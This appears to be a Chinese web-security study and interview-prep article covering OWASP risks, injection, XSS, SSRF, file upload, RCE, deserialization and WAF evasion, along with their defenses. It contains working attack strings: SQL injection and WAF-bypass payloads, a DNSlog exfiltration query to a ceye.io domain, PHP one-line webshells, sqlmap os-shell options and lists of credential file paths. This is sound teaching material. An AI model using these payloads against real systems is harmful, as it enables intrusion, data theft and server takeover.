您的位置:首页 > 财经 > 金融 > 游戏推广app平台_广州网站开发怎么做_线上营销策划案例_新闻头条最新消息30字

游戏推广app平台_广州网站开发怎么做_线上营销策划案例_新闻头条最新消息30字

2025/4/27 12:58:40 来源:https://blog.csdn.net/m0_74190241/article/details/146867934  浏览:    关键词:游戏推广app平台_广州网站开发怎么做_线上营销策划案例_新闻头条最新消息30字
游戏推广app平台_广州网站开发怎么做_线上营销策划案例_新闻头条最新消息30字

OWASP TOP10

注入漏洞

失效的身份认证和会话管理

敏感信息泄露

xxe

中断访问控制

安全配置错误

xss

反序列化

使用已知含有的漏洞的组件

不足的记录和监控漏洞

注入漏洞(Injection)

原理:攻击者通过向应用程序输入恶意代码,使其执行未经授权的操作。常见的注入类型包括SQL注入、OS命令注入、LDAP注入等1。 攻击方式:例如,SQL注入通过在SQL查询中插入恶意代码来操纵数据库。 防御方法:使用参数化查询、输入校验和白名单、最小化权限等。

失效的身份认证(Broken Authentication)

原理:攻击者利用身份认证和会话管理中的漏洞,绕过或破解身份验证机制。 攻击方式:密码猜测、会话劫持、CSRF等。 防御方法:强密码策略、多因素身份验证、会话管理、访问控制等。

敏感数据泄露(Sensitive Data Exposure)

原理:应用程序在未加密或未正确加密的情况下存储和传输敏感信息。 攻击方式:网络嗅探、数据泄露等。 防御方法:加密、数据保护、强密码策略等。

XML外部实体漏洞(XML External Entities, XXE)

原理:应用程序解析XML时,未正确处理外部实体,导致攻击者可以访问系统文件、执行命令等。 攻击方式:XXE攻击。 防御方法:禁用外部实体、使用最新版本的XML解析器、输入校验等。

失效的访问控制(Broken Access Control)

原理:应用程序未正确实现访问控制机制,导致攻击者能够访问未授权的资源。 攻击方式:直接访问、暴力破解等。 防御方法:访问控制、安全编码、安全测试等。

安全配置错误(Security Misconfiguration)

原理:应用程序或其环境未正确配置,导致攻击者可以访问敏感信息、执行未经授权的操作。 攻击方式:目录遍历、错误页面泄露等。 防御方法:安全配置、代码审计、最小化权限等。

跨站脚本攻击(Cross-Site Scripting, XSS)

原理:攻击者向应用程序中输入恶意脚本,使其在用户的浏览器中执行2。 攻击方式:反射型XSS、存储型XSS等。 防御方法:输入校验、输出编码、HTTPOnly标记等3。

不安全的反序列化(Insecure Deserialization)

原理:应用程序在反序列化数据时未正确验证其完整性和有效性,导致攻击者可以执行未经授权的代码1。 攻击方式:注入恶意对象等。 防御方法:输入验证、使用最新版本的序列化器、最小化权限等2。

使用含有已知漏洞的组件(Using Components with Known Vulnerabilities)

原理:应用程序使用已知存在漏洞的第三方组件,导致攻击者可以利用这些漏洞攻击应用程序。 攻击方式:利用已知漏洞等。 防御方法:使用最新版本的组件、实时跟踪漏洞等。

不足的日志记录与监控(Insufficient Logging & Monitoring)

原理:应用程序未正确记录或监控其活动,导致攻击者可以执行未经授权的操作而不被检测。 攻击方式:暴力破解、DDoS攻击等。 防御方法:安全审计、日志监控、入侵检测等。

常见的web安全漏洞

SQL注入

原理: 用户将恶意SQL语句的参数拼接到动态SQL语句,后端没有进行校验,然后在在数据库中执行。

分类: 按照最常见的分类:联合查询注入、报错注入、布尔盲注、时间盲注(延时盲注)

除此之外还有比如 HTTP 头注入、堆叠注入、宽字节注入、二次注入 ( 又叫二阶注入 ) ,还有 DNSlog 注入
请求头的注入: user-agent referer cookie Host Location Accept-Language
联合查询注入: union
通过 union 拼接查询语句获取大量的信息
利用:模糊查询猜测列名、表名 ---->union 查询构造 select 语句进行查询返回大量数据
报错注入: 利用系统返回的错误信息来获取有用的信息
需要用到的函数: updataxml floor 向下取整、 group by 分组排列、 count 统计数量、 concat 连接字符串updatexml, 0x7e 等价于 ~ ,将查询语句和特殊符号拼接在一起,就可以将查询结果显示在报错信息中
布尔盲注 kobe%27%20and%20 ascii ( substr (database(),§1§,1))=§115§--+
时间盲注 :构造语句,通过页面响应时长来判断信息。
例如: id=1 and if(length((select database()))>1,sleep(3),1)--+
这里就是判断当前数据库库名是否大于 1 ,如果大于 1 ,则延时 3 秒,如果不大于 1 ,就立刻返回数据。
那如果 sleep 函数被禁用该如何进行时间盲注?
使用 get_lock heavy_query benchmark
宽字节注入 :使用 gbk 编码, %df / 组成了一个汉字 ` 綅,使得转义字符不起作用,单引号逃脱
堆叠注入 :一堆 sql 语句 ( 多条 ) 一起执行。
二次注入 :特殊字符进行了转义处理,在从数据库中取脏数据,发生二次注入,比如同时注册两个账号admin, admin’ ,然后修改 admin’ 密码成功把 admin 密码修改了
DNSlog 注入 Dns 在域名解析时会留下解析记录,利用 load_file() 函数发起请求,使用 Dnslog 接受请求,可以获取数据。
select load_file(concat('\\',' 攻击语句 ',.XXX.ceye.io\abc)) concat 函数将执行结果与 XXX.ceye.io\abc 拼接,构成一个新的域名,load_file() 发起请求,提交到 DNS 服务器进行解析,如果我们可以查看 DNS 服务器上的Dnslog 就可以得到 SQL 注入结果。

盲注是什么?怎么盲注?

盲注是在 SQL 注⼊攻击过程中,服务器关闭了错误回显,我们单纯通过服务器返回内容的变化来判断是否存在 SQL 注⼊和利⽤的⽅式。
盲注的⼿段有两种,
⼀个是通过⻚⾯的返回内容是否正确 (boolean-based),来验证是否存在注⼊。

⼀个是通过 sql 语句处理时间的不同来判断是否存在注⼊ (time-based),在这⾥,可以⽤ benchmark,sleep 等造成延时效果的函数,也可以通过构造⼤笛卡⼉积的联合查询表来达到延时的⽬的。

宽字节注入原理

1、产⽣原理
在数据库使⽤了宽字符集而 WEB 中没考虑这个问题的情况下,在 WEB 层,由于 0XBF27 是两个字符,在 PHP 中⽐如addslash 和 magic_quotes_gpc 开启时,由于会对 0x27 单引号进⾏转义,因此 0xbf27 会变成 0xbf5c27, ⽽数据进⼊数据库中时,由于 0XBF5C 是⼀个另外的字符,因此 转义符号会被前⾯的 bf 带着 “吃掉”,单引号由此逃逸出来可以⽤来闭合语句。

2、根本原因
character_set_client(客户端的字符集) 和 character_set_connection(连接层的字符集) 不同, 或转换函数如,iconv、mb_convert_encoding 使⽤不当。

3、解决办法
统⼀数据库、Web 应⽤、操作系统所使⽤的字符集,避免解析产⽣差异,最好都设置为 UTF-8。或对数据进⾏正确的转义,如 mysql_real_escape_string+mysql_set_charset 的使⽤。

防御:对特殊字符进行过滤、转义等。过滤特殊函数,使用安全的api,预编译。

黑名单:对特殊的字符例如括号斜杠进行转义过滤删除;
白名单:对用户的输入进行正则表达式匹配限制
参数化查询:原理是将用户输入的查询参数作为参数传,而不直接将它们拼接到 SQL 语而言,将 SQL 语句和参数分离开来,并通过占位符(一般使用问号“ )将它们关联起来,这样用户的输入只会被当作参数`

sqlmap常用命令

基础的:
sqlmap -u --dbs :检测站点包含哪些数据库、 --current-db 获取当前的数据库名
--tables -D "db_name" 获取指定数据库中的表名 -D 后接指定的数据库名称
--columns -T "table_name" -D "db_name" 获取数据库表中的字段
--dump -C "columns_name" -T "table_name" -D "db_name" 获取字段的数据内容
sqlmap -r
--batch 默认确认,不询问你是否输入
--level ,探测深度,强调范围、 --risk ,风险等级,强调数量
--tamper ,使用脚本
--user-agent "" 使用自定义 user-agent
--proxy “ 目标地址 使用代理注入
进阶:
--os-shell Sqlmap 上传 shell
--file-read 读取服务器文件
--identify--waf :加入有 waf ,怎么判断
--is-dba 判断用户是否有数据库权限没
--delay 1 防止 cc 拦截

数据库常见端口号

数据库: MySQL SQLServer Oracle PostgreSQL Access ,另外常见的还有Redis缓存数据库
MongoDB: 27017
MySQL 3306
MSSQL 1433
Oracle 1521
PostgreSQL 5432
Access 比较特殊,它是个文件,没有端口
Redis:6379

sql注入如何检测

如果是 .asp 为后缀,则数据库可能是 access
如果是 .aspx 为后缀,则可能是 MsSql
如果是 .php 对应的可能是 mysql 数据库
如果是 .jsp, 可能是 oracl 数据库。
1. 数据库异常日志:在数据库服务器上查看异常日志或错误日志,如果发现异常 SQL 语句,或者
SQL 语句中包含可疑代码或关键字,就可能存在 SQL 注入攻击。
2. 应用服务器日志:在应用服务器上查看访问日志或错误日志,如果发现访问异常、错误码增多,或
者包含可疑的 URL 参数等信息,也可能表明存在 SQL 注入攻击。
3. 漏洞扫描工具:使用专业的漏洞扫描工具,可以自动化地检测应用程序中可能存在的 SQL 注入漏
洞,并提供修补建议。
4. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。
5. 手动测试:模拟攻击者的行为,手动输入特定的 SQL 语句或注入代码,来验证是否存在 SQL 注入
漏洞。

被过滤,如何绕过

编码绕过 url 编码,双写 url 编码,其他编码)
字母大小写,关键词双写
空格过滤 :使用空白符或者 + 代替空格,或者注释符 /**/ 代替
内联注释 绕过:
/*!50001sleep(3)*/
更改请求方式(有时候 waf 只拦截 get ),异常方法( waf 自检查 get post ,改成其他方法)
超大数据包
参数污染: ?id=1&id=2 (部分 WAF 在处理的过程中可能只处理前面提交的参数值 (id=1) ,而后端程序在
处理的时候可能取的是最后面的值)
fuzz 脚本绕过 :运行 fuzz 脚本
WAF 中过滤的敏感字符通过 添加 % 绕过过滤

sql注入加固

1. 输入验证:对用户输入数据进行验证和过滤,特别是对单引号、双引号、分号等特殊字符进行处
理。可以使用输入过滤函数或正则表达式等方式来实现。
2. 参数化查询:使用参数化查询操作数据库,可以将用户输入的数据视为参数而不是 SQL 代码的一部
分,从而避免 SQL 注入攻击。
3. 最小化权限原则:在应用程序连接数据库时,给予最小必要的权限,并严格控制数据库访问权限,
以减少攻击者利用 SQL 注入漏洞获取敏感信息的可能性。
4. 安全编码标准:统一编码 否则会导致宽字节注入
5. 异常信息处理:前端不返回错误信息,在应用程序中添加异常处理机制,可以及时捕获和记录 SQL
注入攻击产生的异常信息,便于管理员及时发现和修复问题。
6. 安全审计:通过记录用户行为和操作日志,可以检测和追踪可能存在的 SQL 注入攻击。

XSS跨站脚本攻击

原理: 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script 代码会被执行,从而达到恶意攻击用户的目的

类型:

反射型:攻击代码在 url 里,输出在 http 响应中
存储型:把用户输入的数据存储在服务器上
DOM 型:通过修改页面的 DOM 结点形成 xss

反射型 XSS 跟存储型 XSS 的区别:

存储型 XSS 的恶意代码存在数据库里(持久性),反射型 XSS 的恶意代码存在 URL 里(就执行一次)。

DOM XSS 跟前两种 XSS 的区别:

DOM XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

防御

对输入的特殊字符进行转义处理,比如尖括号( < > ),单引号和双引号( ' " ), & ,减号( - )(减号可用于注释掉JavaScript 代码)等。
对特殊符号,特殊字符设置黑白名单比如尖括号( < > ),标签标签等, onmouseover onload onclick 等事件处理属性
除了以上基本的,还可以对重要的 cookie 设置 httpOnly, 防止客户端通过 document.cookie 读取 cookie
HTTP 头由服务端设置,使用一些流行的框架,比如 React Vue.js ,这些框架已经内置了一些防御XSS 攻击的措施,减少了 XSS 攻击的风险。

xss绕过

1./ 代替空格,大小写混合字符,双层标签绕过等:
2.js 伪协议:比如利用 location 属性,利用 iframe ,利用 a 标签等。
1. 利用 location 属性 : 攻击者可以通过 window.location 属性将要执行的 JavaScript 代码作为参数传递给JavaScript伪协议,并将其插入到目标网页的 URL 中,从而执行恶意脚本。
2. 利用 iframe: 攻击者可以在 iframe 中插入一个包含 JavaScript 伪协议的 URL ,然后将 iframe 嵌入到目标网页中,从而执行恶意脚本。 3. 利用 a 标签 : 攻击者可以使用 a 标签的 href 属性来执行 JavaScript 伪协议,并将其插入到目标网页中从而执行恶意脚本。
3. 没有分号:当一个 JavaScript 语句与其后面的语句之间没有分号时,浏览器可能会将这两个语句合并为一个语句,成为一个有效的JavaScript 代码块。
4.Html5 新标签,比如 iframe 标签, audio video 标签, onerror 属性等
5.Fuzz 进行测试
浏览器的同源策略:同源策略 限制从一个源加载的文档或脚本如何与来自另一个源的资源进行交互,这 是一个用于隔离潜在恶意文件的关键的安全机制
作用:能帮助阻隔恶意文档,减少可能被攻击的媒介
同源的定义:若两个 URL 的协议、端口号 ( 如果有指定的话 ) 主机 都相同的话,则说这两个 URL
同源
不受同源策略的标签:带 src 属性的标签,比如 <script> <img> <iframe> <link> 在加载时,实际是生成一条GET 请求,向指定服务器申请资源。

CSRF跨站请求伪造攻击

原理:用户访问恶意网站,然后攻击者就可以利用受害者的身份, 对已经登陆的正常网站发送数据包, 达到篡改信息、修改配置等功能
成因: Cookie 不过期, 没有进行进一步的验证用户信息 ,没有安全意识访问了恶意站点,最主要的成因是由于网站 缺乏适当的请求验证机制
类型: GET 型、 POST
利用:受害者必须依次完成两个步骤,登陆受信任网站 A ,并在本地生成 cookie ,在不登出 A 的情况下,访问危险网站B
判断依据: 看有没有 token reffer 字段, referer 字段删除之后能不能继续用
防御:加 token 或者验证码;尽量使用 POST ,限制 GET
跨域: 由浏览器的同源策略造成的,是浏览器的安全限制。
JSONP 跨域: 只支持 GET 请求,不支持 POST 等其它请求,也不支持复杂请求,只支持简单请求。
CORS 跨域: 支持所有的请求,包含 GET POST OPTOIN PUT DELETE 等。既支持复杂请求,也支持简单请求。
JSONP CORS 的使用目的相同,并且都需要服务端喝客户端同时支持,但 CORS 的功能更加强大。
应用场景
如果需要 兼容 IE 低版本浏览器 ,无疑, JSONP
如果需要对 服务端资源 进行操作,无疑, CORS

SSRF服务端请求伪造

原理:可以欺骗 web 服务器端向内网发送请求
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。 ( 一家公司存在一个模型,服务器 1 在内网之中,服务器2 是对外的属于 web 服务端的, web 端比较好攻击,如果想攻击 1 的比较困难,因为它是在一个局域网之中的,也就是所谓的内网,有防火墙,就攻击不到1 。如果说 2 站点上存在一个能够对外发请求的服务,利用2 发送请求的功能去对 1 发出请求,欺骗 2 1 发出请求,这种叫做服务器端请求伪造。)
常出现在: 1. 能够对外发起网络请求的地方 2. 请求远程服务器资源的地方 3. 数据库内置功能 4. 邮件系统5.文件处理 6. 在线处理工具。有从其他的服务器上获取数据的功能点,使用用户指定的 URL ,可以进行获取图片,下载文件等操作, 且我们可以控制地址的参数,都可能造成 SSRF 漏洞
协议 :
file:在有回显的情况下,利用 file 协议可以读取任意内容
dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s:探测内网主机存活
防御: 禁止跳转 禁用不需要的协议 黑名单内网 ip
危害:端口扫描、内网 Web 应用指纹识别、攻击内网 Web 应用、 读取本地文件

SSRF绕过方式

1. 攻击本地: http://127.0.0.1:80 http://localhost:22
2. 利用 [::] http://[::]:80/ >>> http://127.0.0.1
3. 利用 @ :限制为 http://www.xxx.com 域名时,可以尝试采用 http 基本身份认证的方式绕过, http://ww
w.xxx.com@www.xxc.com
4. 利用短地址:比如百度短地址 https://dwz.cn/
5.302 跳转

xsscsrfSSRF区别

XSS 可以理解为攻击者窃取用户的身份信息进行操作
CSRF 可以理解为攻击者没有窃取用户身份信息但是他通过其它手段获取了你的一次性身份信息的利用
进行操作 SSRF 可以理解为攻击者利用服务器的不严谨的过滤限制,将服务器当作跳板利用进行操作
CSRF 是跨站请求伪造攻击,由客户端发起;
SSRF 是服务器端请求伪造,由服务器发起;
重放攻击是将截获的数据包进行重放,达到身份认证等目的。

正向连接和反向连接的区别

正向连接:我去连目标
反向连接:目标连我
文件上传
原理: 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命
令的能力。
服务器解析漏洞
apache:绕过程序检测:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。
iis:当建*.asa ,*.asp,*.cer格式的文件夹时,其目录下的任何扩展名的文件都将被IIS当做asp文件进行解析。
nginx:任意文件名后边加xxx.php,就会被当成php文件解析。
绕过方法
如何判断是一个黑名单还是白名单 :上传一个不存在的后缀名,如果上传成功则表示是黑名单检测,如果上传失败则表示是白名单检测。
1.黑名单
a.后缀名不完整 .php5 .phtml等
b. .htacess配置文件(先把php文件改成png格式上传绕过验证,在上传一个.htaccess()文件,把png图片当php解析)
c.大小写,双写
d.空格,点,空格点
e.特殊字符::$DATA :不让他检测后缀名。
2.白名单:%00截断1.php%00.jpg,图片马,网站的脚本类型解析图片
3其他:/.绕过,直接加/.,数组加/.
条件竞争(几率很小)
二次渲染: 原理
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行
替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。
给你一个站怎么测:
1. 先找到可以文件上传的地方,比如头像,附件啊等等
2. 先上传一个正常图片,看功能点是否可以正常使用
3. 上传正常图片( 抓包修改文件后缀名为对应网站脚本语言 )可以检测出网站是否对上传进行了文件后缀名的监测。
4. 成功 ·---> 没有
5. 失败 ——> 有检测,接着判断白名单 or 黑名单
防御:
1. 对上传文件进行类型和大小验证。
2. 避免直接将文件上传到 Web 目录下。
3. 检查文件名和内容。
4. 重新命名上传的文件。
5. 禁止执行上传的脚本。
如何绕过 WAF
1 、添加垃圾数据
2 、多加一个 filename
3 、交换 name filename 的顺序等

文件包含

原理:程序员开发的时候没有对包含的文件进行严格的过滤,攻击者可以构造自己的图片木马文件当做PHP执行。
图片马为什么会被解析
图片马之所以会被解析,是因为在默认情况下,会以网站脚本文件类型解析。
防御
1. 禁止服务器远程文件包含
2. 过滤点 . 反斜杠 / \ ,防止跨目录
3. 尽量不要使用动态包含,可以在需要包含的页面固定写好
危害:敏感信息泄露(任何文件读取); PHP 伪协议,文件包含读源码,命令执行;配合图片马获取webshell
常见包含函数:
include ():找不到被包含的文件时只会产生警告,脚本将继续运行。
include_once ():找不到被包含的文件时只会产生警告,脚本将继续运行。如果该文件中的代码已经被包含,则不会再次包含,即程序只调用一次。
require ():找不到被包含的文件时会产生致命错误,并停止脚本运行。
require_once ():找不到被包含的文件时会产生致命错误,并停止脚本运行。如果该文件中的代码已经被包含,则不会再次包含,即程序只调用一次。
PHP 伪协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)

任意文件下载

原理: 一些网站提供文件查看或文件下载功能,对用户查看或下载的文件不做限制,则恶意用户就能够
查看或下载任意敏感文件,这就是目录遍历与下载漏洞。
下载方式:
通过文件名直接下载
通过文件名变量下载文件
如何验证存在任意文件下载的漏洞:
利用条件:存在读文件的函数,读取文件的路径用户可控且未校验或校验不严输出了文件内容
任意文件下载和任意文件读取有着相似的地方: 就是都需要路径,例如index.php?f=file:///etc/passwd,
index.php?f=../index.php
修复方案:
1)过滤用户数据,如"/”,"*","等特殊字符
2)更新中间件
3)要下载的文件地址保存至数据库中
4)文件路径保存至数据库,让用户提交文件对应ID或session 下载文件
5)用户下载文件之前需要进行权限判断
6)文件放在 web 无法直接访问的目录下
7)不允许提供目录遍历服务
8)公开文件可放置在 web 应用程序下载目录中通过链接进行下载
防御:
禁止用文件名的方式访问网站目录的文件
危害: 可以下载服务器任意的文件,如脚本代码,服务以及系统配置文件等等。可以下载网站源代码
进行白盒审计,发现其它 web 漏洞,如 SQL 注入,文件包含, XSS 等等。

任意代码执行RCE

成因:
可以调用一些恶意函数,能够将字符串转换为代码,比如 eval() 函数把字符串按照 PHP 代码执行。
常见函数
eval() assert()
代码执行常用来执行的代码
一句话木马: ${@eval($_POST[1])}
获取当前工作路径: ${exit(print(getcwd()))}
读文件: ${exit(var_dump(file_get_contents($_POST[f])))} f=/etc/passwd
webshell ${exit(var_dump(file_put_contents($ POST[f], $ POST[d])))} f=1.php&d=1111111
防御:
1 、使用 json 保存数组,当读取时就不需要使用 eval
2 、对于必须使用 eval 的地方,一定严格处理用户数据(白名单、黑名单)
3 、字符串插入前使用 addslashes 转义,

目录遍历

原理:没有充分过滤跳转符(如 ../ ),用户可以恶意提交目录跳转,实现服务器上的任意文件遍历。
攻击手法:比如: http://www.test.com/index.php?file=image1.jpg ,服务器拼接成
c://test/static/imgs/image1.jpg
绕过: ../ ,使用绝对路径,双写,截断绕过( ../windows/win.ini%00.jpg 等于 ../windows/win.ini ;)
防御措施
1. 限制用户输入的路径。
2. 字符转换成 url 编码等
3. 用户白名单
常见系统文件路径:
Windows
C:\boot.ini // 查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS 配置文件
C:\Windows\repair\sam // 存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql 配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php 配置信息
C:\Windows\my.ini //Mysql 配置信息
Linux
/etc/passwd # 查看用户文件
/etc/shadow # 查看密码文件,如果能读取该文件说明是 root 权限
/etc/httpd/conf/httpd.conf # 查看 apache 的配置文件
/root/.bash_history # 查看历史命令
/var/lib/mlocate/mlocate.db # 本地所有文件信息
/etc/ssh/sshd_config #ssh 配置文件,如果对外开放可看到端口
/proc/self/fd/fd[0-9] *( 文件标识符 )
/proc/mounts
/root/.ssh/known_hosts 程序配置文件
apache
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis
/etc/redis.conf

命令执行

原理:
应用有时需要调用一些执行系统命令的函数,如 PHP 中的 system exec shell_exec passthru
popen proc_popen 等,当用户能控制这些函数的参数,并且开发人员对这个参数没有严格的过滤时就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞
eval() :将输入的字符串参数当做 PHP 程序代码来执行
system(): 执行外部程序 . 并且显示输出 ; 成功则返回命令输出的最后一行,失败则返回 FALSE;
exec() :执行一个外部程序,不会主动返回执行结果,且只是返回结果的最后一行。
shell_exec() : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL
防御:
1. 尽量少用执行命令的函数
2. 使用 escapeshellcmd 函数进行过滤
3. 在拼接前调用 addslashes 进行转义

PHP反序列化有了解吗?

序列化就是将一个对象转换成字符串,反序列化则反之,将字符串重新转化为对象。

此外,PHP反序列化又可以简单分成两种,一种无类,一种有类,无类利用就略微简单,如果源码会将输入的值进行反序列化,那我们就需要提前将数据序列化后再传入。而想要利用有类就要用到魔术方法,而魔术方法就像一个潜规则一样,例如我们在创建对象时,就会触发__construct(),并执行__construct()中的代码。再用通俗的话来说,例如有人喊出了你女朋友的名字,你脑海中就会马上复现出她的身影一样,没有人让你特意去想,只是一种无意识的规则调用。

JAVA反序列化了解吗?有没有了解过shrio反序列化?(最常

问,无论hvv还是工作面试)?

Java中的ObjectOutputStream类的writeObject()方法可以实现序列化,其作用把对象转换成字节流,便于保存或者传输,而ObjectInputStream类的readObject()方法用于反序列化,作用就是把字节流还原成对象。shiro反序列化主要是Apache shiro提供了一个remember的一个功能,用户登录成功后会生成经过加密并编码的cookie,保存在浏览器中方便用户的日常使用,而服务器对cookie的处理流程就是先获取浏览器上保存的cookie,然后将其bs64解码,再进行AES解密,再将其反序列化进行校验,而漏洞就是出现在这里,我们都知道AES它是一个硬编码,他是有默认密钥的,如果程序员没有去修改或者过于简单,那我们就可以进行cookie重构,先构造我们的恶意代码,然后将恶意代码进行序列化,然后AES加密(密钥我们已经爆破出来了),再进行bs64编码,形成我们新的cookie,而服务器在处理时就会按照刚才的处理流程,就会在服务端触发我们构造的恶意代码。

逻辑漏洞遇到过哪些,给你登录框有没有什么思路?

常见逻辑漏洞:越权,响应包修改,支付金额修改,cookie爆破,密码找回方面等等

登录页面思路:爆破,session覆盖,sql注入,xss,任意用户注册,js文件查看敏感信息,短信轰炸,万能密码,二次注入,模板注入等等

CDN和DNS区别?CDN绕过思路?

CDN:内容分发网络,主要作用就是让用户就近访问网络资源,提高响应速度,降低网络拥堵。

DNS:域名服务器,主要作用就是将域名翻译成ip地址。

CDN绕过思路:子域名,内部邮件,黑暗引擎搜索,国外ping,证书及DNS查询,app抓包,配置不当泄露,扫全网,DOS攻击等。

框架&中间件漏洞

IIS:PUT漏洞、短文件名猜解、远程代码执行、解析漏洞等

Apache:解析漏洞、目录遍历等

Nginx:文件解析、目录遍历、CRLF注入、目录穿越等

Tomcat:远程代码执行、war后门文件部署等

JBoss:反序列化漏洞、war后门文件部署等

WebLogic:反序列化漏洞、SSRF任意文件上传、war后门文件部署等

渗透测试流程

信息收集:
1 、获取域名 whois 信息
2 、服务器子域名、旁站、 c 段查询
3 、服务器操作系统版本补丁状况、 web 中间件类型、版本、数据库类型等
4 、服务器开放端口: 22 ssh 80 web 445 3389.
主机扫描 (Nessus) 、端口扫描 (nmap) 、子域名( layer
漏洞扫描:
nessus awvs appscan
漏洞验证:
是否存在漏洞,是否可以拿到 webshell 或者其他权限
权限提升 :
windows 内核溢出提权,数据库提权、组策略首选项提取、 web 中间件提权、 dll 劫持提权、第三方软件 /
服务提权
linux 内核漏 20 洞提权、劫持高权限程序提权、 sudoer 配置文件错误提权
漏洞利用:
日志清理:
输出报告:

常见的waf绕过方法

Web应用防火墙(WAF)  是通过执行一系列针对HTTP/HTTPS的安全策略来保护Web应用程序的一种产品。WAF的核心策略通常是通过正则匹配实现的。绕过WAF的方法有很多,以下是一些常见的绕过技术:

编码绕过

使用各种编码方式可以绕过WAF的检测。例如,URL编码、二次URL编码、Unicode编码、Base64编码、Hex编码等。编码后的参数在进入数据库查询语句之前会被解码,从而绕过WAF的过滤。

# 二次URL编码绕过示例

payload = "%31%2527%20%61%6e%64%20%2527%31%2527%3d%2527%32"

字母大小写转换

部分WAF只过滤全大写或全小写的敏感字符,可以通过对关键字进行大小写转换来绕过。

# 大小写转换绕过示例

payload = "sleeP(3)"

空格过滤绕过

部分WAF会对空格进行过滤,可以使用空白符、‘+’号或注释符/**/替换空格进行绕过。

# 使用注释符替换空格绕过示例

payload = "1'/**/and/**/sleep(3)/**/and/**/'1'='1"

内联注释绕过

在MySQL中,/**/是多行注释,MySQL扩展了解释的功能,如果在开头的/后加了惊叹号(/!50001sleep (3)*/),那么此注释里的语句将被执行。

# 内联注释绕过示例

payload = "1+and+/*!50001sleep(3)*/+and+1=1"

请求方式差异绕过

有些WAF同时接收GET和POST方法,但只在GET方法中增加了过滤规则,可以通过发送POST方法进行绕过。

# POST请求绕过示例

payload = "id=1+and+sleep(4)"

异常Method绕过

有些WAF只检测GET和POST方法,可以通过使用异常方法进行绕过。

# 异常Method绕过示例

payload = "DigApis /xxx/?id=1+and+sleep(3)HTTP/1.1"

超大数据包绕过

部分WAF只检测固定大小的内容,可以通过添加无用字符进行绕过检测。

# 超大数据包绕过示例

payload = "1+and+sleep(3)+and+" + "1" * 1000 + "=1"

复参数绕过

在提交的URL中给一个参数多次赋值,部分WAF在处理的过程中可能只处理前面提交的参数值,而后端程序在处理的时候可能取的是最后面的值。

# 复参数绕过示例

payload = "id=1&id=2+and+sleep(3)"

添加%绕过过滤

将WAF中过滤的敏感字符通过添加%绕过过滤。

# 添加%绕过过滤示例

payload = "1 union s%e%lect 1, 2, 3 from admin"

Windows常用指令

一.文件/目录操作
1.cd  切换目录
cd                 //显示当前文件所在
cd..               //显示上一级目录
cd /d x:\        //进入x盘根目录
cd /d x:         //进入上次x盘所在的目录 (可直接输入 x:)
cd x:             //显示上次x盘所在的目录
cd /d x:\a      //进入x盘里的a文件夹
cd a\b\c        //进入当前目录下的a\b\c文件夹
2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序
3.tree  显示目录结构
tree              //树状显示当前目录的结构
tree x:\a       //显示x:\a的目录结构
4.ren  文件或目录重命名
ren a b           //将当前目录下的a文件
ren x:\a b       //将x盘里的a文件夹改名为b
5.md  创建目录    rd  删除目录
md a              //在当前目录下创建a目录
md x:\a\b        //创建x:\a\b目录
rd   a               //删除当前目录下的空文件夹
rd /s /q x:\a      //安静模式删除x盘a目录下的所有子目录、文件
/s    递归        /q    安静模式

6.copy   拷贝文件
copy 1.txt x:\a    //拷贝当前目录下的1.txt到x:\a(文件名重复询问是否覆盖)
copy a x:\b         //拷贝当前目录下a文件夹里的文件(不递归子目录)到x:\b
copy /y 1.txt x:\a       //拷贝当前目录下的1.txt到x:\a(重复不询问直接覆盖)
copy 1.txt x:a\2.txt     //将当前目录下的1.txt拷贝到x:a,并重命名为2.txt
copy 1.txt +                           //刷新文件的日期
copy /y 1.txt + 2.txt 3.txt       //将当前目录下的1.txt  2.txt内容合并写入3.txt ,不询问直接覆盖,按输入顺序写
copy /b a.* a                         //将当前目录下a.开头的所有文件按名称升序排序依次合并生成a
copy /b a.1 + a.2 a               //将当前目录下的a.1  a.2文件合并生成a
7.move  移动文件
move *.txt a                 //将当前目录下的所有txt文件移动到当目下的a文件夹(重复询问覆盖)
move /y *.txt a             //~重复不询问直接覆盖
move 1.png x:\a\2.png        //将当前目录下的1.png图片移动到x盘的a文件夹中,并改名为2png,重复询问
move a x:\new                    //若x盘有new文件夹则将当前目录下的a文件夹移动到x盘new中,若没有移动到x盘,文件改名为new(跨盘不行)
8.del 删除文件
